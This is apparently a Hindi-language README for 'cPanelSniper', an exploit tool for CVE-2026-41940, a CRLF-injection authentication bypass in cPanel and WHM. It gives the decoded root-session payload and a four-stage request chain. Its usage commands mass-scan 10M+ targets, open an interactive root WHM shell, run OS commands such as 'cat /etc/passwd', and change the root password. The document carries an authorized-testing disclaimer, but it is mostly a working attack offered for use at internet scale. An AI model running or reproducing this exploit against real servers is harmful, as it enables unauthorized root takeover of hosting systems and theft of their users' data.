
cPanelSniper STABLE - CVE-2026-41940, 10M+ लक्ष्यों के लिए अनुकूलित
CVE-2026-41940 — cPanel और WHM में सत्र-फ़ाइल CRLF इंजेक्शन के माध्यम से प्रमाणीकरण बायपास
4-चरणीय शोषण श्रृंखला · इंटरैक्टिव WHM शेल · 10M+ लक्ष्यों के लिए TRUE STABLE · शून्य मेमोरी उपयोग · केवल stdlib
cPanelSniper CVE-2026-41940 के लिए एक केंद्रित शोषण फ्रेमवर्क है, जो cPanel और WHM को प्रभावित करने वाली एक गंभीर प्रमाणीकरण बायपास भेद्यता है। यह भेद्यता बिना किसी वैध क्रेडेंशियल के, Authorization HTTP हेडर के माध्यम से सत्र फ़ाइल में CRLF अनुक्रम इंजेक्ट करके, बिना प्रमाणीकृत दूरस्थ हमलावरों को रूट-स्तरीय WHM एक्सेस प्राप्त करने की अनुमति देती है।
केवल अधिकृत पैठ परीक्षण और बग बाउंटी कार्यक्रमों के लिए।
यह संस्करण शून्य मेमोरी उपयोग के साथ 10,000,000+ लक्ष्यों को स्कैन करने के लिए अनुकूलित है।
| समस्या | मूल संस्करण | ठीक किया गया संस्करण |
|---|---|---|
| मेमोरी उपयोग | सभी लक्ष्यों को RAM में लोड करता है | लक्ष्यों को पंक्ति-दर-पंक्ति स्ट्रीम करता है (0 मेमोरी) |
| 10M लक्ष्य | OOM → मारा गया ❌ | सफलतापूर्वक पूर्ण होता है ✅ |
| फिर से शुरू | समर्थित नहीं | --resume फ़्लैग |
| प्रगति | कोई ETA नहीं | रीयल-टाइम ETA + दर + आँकड़े |
| परिणाम | केवल अंत में सहेजे जाते हैं | हर 60 सेकंड में सहेजे जाते हैं (कॉन्फ़िगर करने योग्य) |
--resume के साथ जहाँ रुके थे वहाँ से जारी रखेंsubfinder, httpx, shodan के साथ सहजता से काम करता हैमूल कारण Session.pm में है: saveSession() फ़ंक्शन सत्र फ़ाइल को डिस्क पर लिखने के बाद filter_sessiondata() को कॉल करता है। इसका मतलब है कि Authorization: Basic हेडर मान में एम्बेडेड CRLF वर्ण सत्र फ़ाइल में वैसे ही लिखे जाते हैं, जिससे सैनिटाइज़ेशन से पहले हमलावर-नियंत्रित फ़ील्ड इंजेक्ट हो जाते हैं।
सामान्य प्रवाह:
POST /login/ → filter_sessiondata() → सत्र लिखें → प्रमाणीकरण जाँच
कमजोर प्रवाह:
POST /login/ → सत्र लिखें (CRLF पेलोड इंजेक्ट) → filter_sessiondata() → प्रमाणीकरण जाँच ज़हरीली फ़ाइल पढ़ती है
Authorization: Basic मान डिकोड होकर:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
ये फ़ील्ड सीधे डिस्क पर सत्र फ़ाइल में लिखे जाते हैं। जब वापस पढ़ा जाता है, तो cPanel सत्र को पूरी तरह से प्रमाणीकृत रूट सत्र के रूप में मानता है।
┌─────────────────────────────────────────────────────────────┐
│ चरण 0 — कैनोनिकल होस्टनाम खोज │
│ GET /openid_connect/cpanelid → 307 → वास्तविक होस्टनाम │
├─────────────────────────────────────────────────────────────┤
│ चरण 1 — प्री-ऑथ सत्र मिंट करें │
│ POST /login/?login_only=1 (गलत क्रेडेंशियल) │
│ ← 401 + whostmgrsession कुकी │
├─────────────────────────────────────────────────────────────┤
│ चरण 2 — CRLF इंजेक्शन │
│ GET / + Cookie: session + Authorization: Basic <payload> │
│ cpsrvd CRLF फ़ील्ड को सत्र फ़ाइल में लिखता है │
│ ← 307 Location: /cpsessXXXXXXXXXX/... │
├─────────────────────────────────────────────────────────────┤
│ चरण 3 — प्रचार (do_token_denied गैजेट) │
│ GET /scripts2/listaccts │
│ raw→cache फ्लश ट्रिगर करता है — इंजेक्टेड फ़ील्ड सक्रिय हो जाते हैं │
│ ← 401 टोकन अस्वीकृत (अपेक्षित) │
├─────────────────────────────────────────────────────────────┤
│ चरण 4 — WHM रूट एक्सेस सत्यापित करें │
│ GET /cpsessXXXXXXXXXX/json-api/version │
│ ← 200 {"version":"11.x.x.x","result":1} = PWNED │
└─────────────────────────────────────────────────────────────┘
| शाखा | कमजोर | पैच किया गया |
|---|---|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
git clone https://github.com/44pie/cpsniper
cd cpsniper
python3 cPanelSniper.py --help
कोई pip इंस्टॉल आवश्यक नहीं है। केवल शुद्ध Python 3.8+ stdlib।
# एकल लक्ष्य — केवल स्कैन
python3 cPanelSniper.py -u https://target.com:2087
# एकल लक्ष्य — बायपास के बाद इंटरैक्टिव शेल
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# बड़ी लक्ष्य सूची — 10M+ लक्ष्य (TRUE STABLE)
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
# बाधित स्कैन फिर से शुरू करें
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
# सर्वर पर सभी cPanel खाते सूचीबद्ध करें
python3 cPanelSniper.py -u https://target.com:2087 --action list
# OS कमांड निष्पादित करें
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"
# सर्वर जानकारी प्राप्त करें (होस्टनाम, लोड, डिस्क, MySQL होस्ट)
python3 cPanelSniper.py -u https://target.com:2087 --action info
# cPanel संस्करण प्राप्त करें
python3 cPanelSniper.py -u https://target.com:2087 --action version
# रूट पासवर्ड बदलें
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'
# इंटरैक्टिव WHM शेल
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# subfinder → httpx → फ़ाइल में सहेजें → 10M+ लक्ष्य स्कैन करें
subfinder -d target.com -silent | \
httpx -silent -ports 2087,2086 -threads 50 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
# स्कोप सूची से - लाखों डोमेन संभालें
cat scope.txt | \
httpx -silent -ports 2087,2086 -threads 100 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume